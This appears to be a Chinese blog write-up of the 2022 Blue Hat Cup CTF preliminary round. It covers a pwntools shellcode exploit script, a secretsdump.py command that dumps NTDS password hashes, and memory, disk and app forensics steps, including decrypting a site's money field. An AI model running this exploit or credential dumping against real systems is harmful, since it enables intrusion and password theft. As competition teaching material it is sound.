2022第六届蓝帽杯初赛writeup

PWN

EscapeShellcode

from pwn import *
context(log_level='debug',arch='amd64')

local=1
binary_name='escape_shellcode'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote("39.107.124.203",37699)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

z("b main")
shellcode='''
mov rsp,fs:0x300
mov rsi,[rsp+0x10]
add rsi,0x2f80
mov rdi,1
mov rdx,0x30
mov rax,1
syscall
'''
pause()
sd(asm(shellcode))
p.interactive()

MISC

domainhacker

http导出文件,得到一个加密的1.rar文件,查看流量,发现1.rar的加密过程,解密,得到密码。
在这里插入图片描述
解压,得到hash值,得到flag。
在这里插入图片描述
flag{416f89c3a5deb1d398a1a1fce93862a7}

domainhacker2

翻流量,解压,得到一个带密码的rar,解密方式跟misc1一样,得到密码:FakePassword123$
在这里插入图片描述
解密,得到一个ntds.list,使用secretsdump.py解密,得到hash
python .\secretsdump.py -system SYSTEM -ntds .\ntds.dit LOCAL -history
在这里插入图片描述
flag{07ab403ab740c1540c378b0f5aaa4087}

电子取证

手机取证_1

在这里插入图片描述
搜索图片后提取出来后查看得:360X360

手机取证_2

搜索关键词姜总
在这里插入图片描述

计算机取证_1

查看Hash后反查即可。
在这里插入图片描述
在这里插入图片描述
对用户taqi7 密码(7f21caca5685f10d9e849cc84c340528) MD5反查得anxinqi

计算机取证_2

volatility_2.6.exe -f 1.dmp --profile=Win7SP1x64 cmdline
在这里插入图片描述

取证大师分析结果:

在这里插入图片描述

计算机取证_3

使用取证大师工具集中的内存镜像解析工具,对1.dmp文件进行解析。

在这里插入图片描述


得到BitLocker的密钥文件,导出,再解密,得到隐藏的文件
在这里插入图片描述


选择Bitblocker解密,恢复密钥文件


在这里插入图片描述


在这里插入图片描述


导出ppt文件和pass.txt文件,然后使用PasswareKit工具进行解密,得到密码287fuweiuhfiute
在这里插入图片描述


解密,以只读形式打开,拿到flag
在这里插入图片描述
flag{b27867b66866866686866883bb43536}

计算机取证_4

取证大师查看到,其中还有个新建文本文档.txt文件,推测为加密容器,这里导出来
在这里插入图片描述


然后第3步的时候还有个TrueCrypt的密钥文件,这里也导出来。
在这里插入图片描述


新建一个案例,将新建文本文档.txt和密钥文件导入,得到了一个哈哈哈.zip
在这里插入图片描述


在这里插入图片描述


拿到一个哈哈哈.zip文件


在这里插入图片描述


这里直接爆破,拿到密码991314,用PTF爆破真的挺快。


在这里插入图片描述


解压拿到flag
在这里插入图片描述

flag{1349934913913991394cacacacacacc}

程序分析_1

在这里插入图片描述

exec.azj.kny.d.c

程序分析_2

在这里插入图片描述

第一个用了false 第二个com.kmcjrz… 发现不行 后面还有一个minmtta.hemjcbm.ahibyws.MainActivity提交通过

程序分析_3

在这里插入图片描述

aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6

程序分析_4

猜测a,类a 通过

网站取证_1

使用D盾扫了一下发现一句话,参数直接交上去即可。
在这里插入图片描述

网站取证_2

找到数据库密码加密函数,跑这个代码的php环境要低于7.1,echo一下即可。

在这里插入图片描述

网站取证_3

源码中搜索关键词money,找到金额加密函数,得到key
在这里插入图片描述

网站取证_4

先从SQL里面提取2-18号的转账记录。逆金额的加密算法,汇率数据库里面找出来,然后根据数据库里面的金额与转化率进行转化到人民币。需要注意数据库中的数据是先收款人在是转出人。写脚本匹配日期和转账人、转出人,金额加起来即可。

import base64
import hashlib

def decrypt(data):
    key  = hashlib.md5()
    key.update(b'jyzg123456')
    key = key.hexdigest()
    x = 0
    data = base64.b64decode(data)
    Len = len(data)
    l = len(key)
    char = ""
    str = ""
    for i in range(Len):
        if(x==l):
            x = 0
        char+=key[x:x+1]
        x+=1
    i =0
    for i in range(Len):
        if(ord(data[i:i+1])<ord(char[i:i+1])):
            str+=chr(ord(data[i:i+1]+256)-ord(char[i:i+1]))
        else:
            str+=chr(ord(data[i:i+1])-ord(char[i:i+1]))
    return str
data = ""
huilv = [0,0,0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37]

money = 0
Money = 0
with open("./flag.txt","r",encoding='utf-8') as file:
    data = file.readlines()

for line in data:
    if(int(line.split(',')[5])==5 and int(line.split(',')[6])==3):
        Data = int(line.split(',')[4][10:12])
        money = line.split(',')[7][2:10]
        tmpmoney = huilv[Data]*int(decrypt(money))
        Money += tmpmoney
        print(Data,huilv[Data],decrypt(money),tmpmoney,line.split(',')[5],line.split(',')[6])
print("最后金额",Money)

在这里插入图片描述
第一次交不对,改15758353.76通过

总结

总体体验感不错,取证方面难度梯度设置的也比较好,希望这种比赛多来。

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
蓝帽杯全国大学生网络安全技能大赛是一项面向全国大学生的网络安全竞赛。该比赛旨在提升大学生的网络安全技能和意识,促进网络安全人才的培养。比赛内容涵盖了各个领域的网络安全知识和技能,包括但不限于电子取证、加密通道、Web安全等方面。 该比赛提供了一系列赛题和附件,选手需要根据题目要求进行解答和实践。例如,电子取证赛题中,选手需要完成对手机取证的任务,通过分析附件中的数据和信息来获取所需的证据[2]。还有其他赛题如加密的通道和Web安全等,选手需要运用相关的知识和技能来解决问题。蓝帽杯全国大学生网络安全技能大赛为大学生提供了锻炼和展示自己网络安全能力的平台,也为培养网络安全人才作出了积极的贡献。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [[ CTF ]【天格】战队WriteUp-第六届蓝帽杯“全国大学生网络安全技能大赛(半决赛)](https://blog.csdn.net/ZXW_NUDT/article/details/126173643)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [[ CTF ]天机战队WriteUp-第六届蓝帽杯“全国大学生网络安全技能大赛(初赛)](https://blog.csdn.net/ZXW_NUDT/article/details/125715546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值